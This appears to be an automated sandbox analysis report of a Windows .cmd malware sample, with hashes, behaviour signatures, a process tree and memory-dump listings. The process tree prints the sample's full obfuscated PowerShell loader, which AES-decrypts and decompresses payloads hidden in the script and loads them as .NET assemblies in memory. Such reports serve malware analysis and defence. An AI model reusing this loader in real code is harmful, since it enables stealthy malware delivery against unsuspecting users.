2d22aad1f20e40c0a557741d6366ec2f61bc505ca491672d240b233079c9a70c

Analysis

max time kernel
117s
max time network
117s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11/06/2024, 14:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
F30585602117611871915843120891316949139984.cmd
Size 158KB
Sample240611-rtlabs1anp
SHA256 2ad358d7ccdb651d4603cb591a2eb19416ed453a8cf19c82cb2717477db518a7
MD5 aebbb92d1f67cddf37f996695175153e
SHA1 8706b8f0d37fb05aa70f32d78c3d8469b64c7c27
SHA512 60e261b245fb23c75cd7fc0e507daa3e6f39f7f86261622ca90fd21dafda481abd0d80d7befe01ebe31a3f25485df298445662dfb8041fa0e607c85c31425ce6
SSDEEP 3072:P8079lmwAjYEjWF1eKThC9Du5rz6mA+TqdWazQAFLEKvoSatEXTL:PV79lbAjYFZyQrSmq3cScBtYTL
MD5 SHA1 SHA512 SSDEEP

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2332	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 868	2512	cmd.exe	29
PID 2512 wrote to memory of 868	2512	cmd.exe	29
PID 2512 wrote to memory of 868	2512	cmd.exe	29
PID 868 wrote to memory of 2392	868	cmd.exe	31
PID 868 wrote to memory of 2392	868	cmd.exe	31
PID 868 wrote to memory of 2392	868	cmd.exe	31
PID 868 wrote to memory of 2332	868	cmd.exe	32
PID 868 wrote to memory of 2332	868	cmd.exe	32
PID 868 wrote to memory of 2332	868	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\F30585602117611871915843120891316949139984.cmd';$QVHA='CfvRoopfvRoyTfvRoofvRo'.Replace('fvRo', ''),'MakCkDinkCkDMkCkDodkCkDulekCkD'.Replace('kCkD', ''),'GejDtwtCujDtwrrjDtwenjDtwtPjDtwrojDtwcesjDtwsjDtw'.Replace('jDtw', ''),'CrJoSTeJoSTatJoSTeDJoSTeJoSTcJoSTryJoSTpJoSTtoJoSTrJoST'.Replace('JoST', ''),'STPOBpTPOBliTPOBtTPOB'.Replace('TPOB', ''),'DyvWFecyvWFomyvWFpreyvWFsyvWFsyvWF'.Replace('yvWF', ''),'ChaPahEngePahEEPahExtePahEnPahEsioPahEnPahE'.Replace('PahE', ''),'ElePJDLmePJDLntPJDLAPJDLtPJDL'.Replace('PJDL', ''),'EntADZAryADZAPoADZAinADZAtADZA'.Replace('ADZA', ''),'TralECtnslECtflECtolECtrmlECtFilECtnalECtlBlECtlolECtcklECt'.Replace('lECt', ''),'FmBZfrmBZfommBZfBmBZfamBZfsemBZf64SmBZftrmBZfinmBZfgmBZf'.Replace('mBZf', ''),'ReNkCJadNkCJLiNkCJnesNkCJ'.Replace('NkCJ', ''),'InIpSVvoIpSVkeIpSV'.Replace('IpSV', ''),'LSLFPoaSLFPdSLFP'.Replace('SLFP', '');powershell -w hidden;function XEpjb($SsIUN){$RwiqM=[System.Security.Cryptography.Aes]::Create();$RwiqM.Mode=[System.Security.Cryptography.CipherMode]::CBC;$RwiqM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$RwiqM.Key=[System.Convert]::($QVHA[10])('S3B4J2w42TOnytzqhDJwxtrTIKtriJl/AzoEsA6j1cQ=');$RwiqM.IV=[System.Convert]::($QVHA[10])('0ieVmLktmIvfx4l5/K4RAw==');$wFkLg=$RwiqM.($QVHA[3])();$CJXNR=$wFkLg.($QVHA[9])($SsIUN,0,$SsIUN.Length);$wFkLg.Dispose();$RwiqM.Dispose();$CJXNR;}function ZqMTM($SsIUN){$SbGLz=New-Object System.IO.MemoryStream(,$SsIUN);$qsYcG=New-Object System.IO.MemoryStream;$dzWih=New-Object System.IO.Compression.GZipStream($SbGLz,[IO.Compression.CompressionMode]::($QVHA[5]));$dzWih.($QVHA[0])($qsYcG);$dzWih.Dispose();$SbGLz.Dispose();$qsYcG.Dispose();$qsYcG.ToArray();}$gBYoC=[System.IO.File]::($QVHA[11])([Console]::Title);$nEynS=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 5).Substring(2))));$FPzIN=ZqMTM (XEpjb ([Convert]::($QVHA[10])([System.Linq.Enumerable]::($QVHA[7])($gBYoC, 6).Substring(2))));[System.Reflection.Assembly]::($QVHA[13])([byte[]]$FPzIN).($QVHA[8]).($QVHA[12])($null,$null);[System.Reflection.Assembly]::($QVHA[13])([byte[]]$nEynS).($QVHA[8]).($QVHA[12])($null,$null); "
    3⤵
    PID:2392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2332

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2332-4-0x000007FEF62AE000-0x000007FEF62AF000-memory.dmp

Download

memory/2332-5-0x000000001B5A0000-0x000000001B882000-memory.dmp

Download

memory/2332-7-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download

memory/2332-6-0x0000000002860000-0x0000000002868000-memory.dmp

Download

memory/2332-10-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download

memory/2332-9-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download

memory/2332-8-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download

memory/2332-11-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download

memory/2332-12-0x000007FEF5FF0000-0x000007FEF698D000-memory.dmp

Download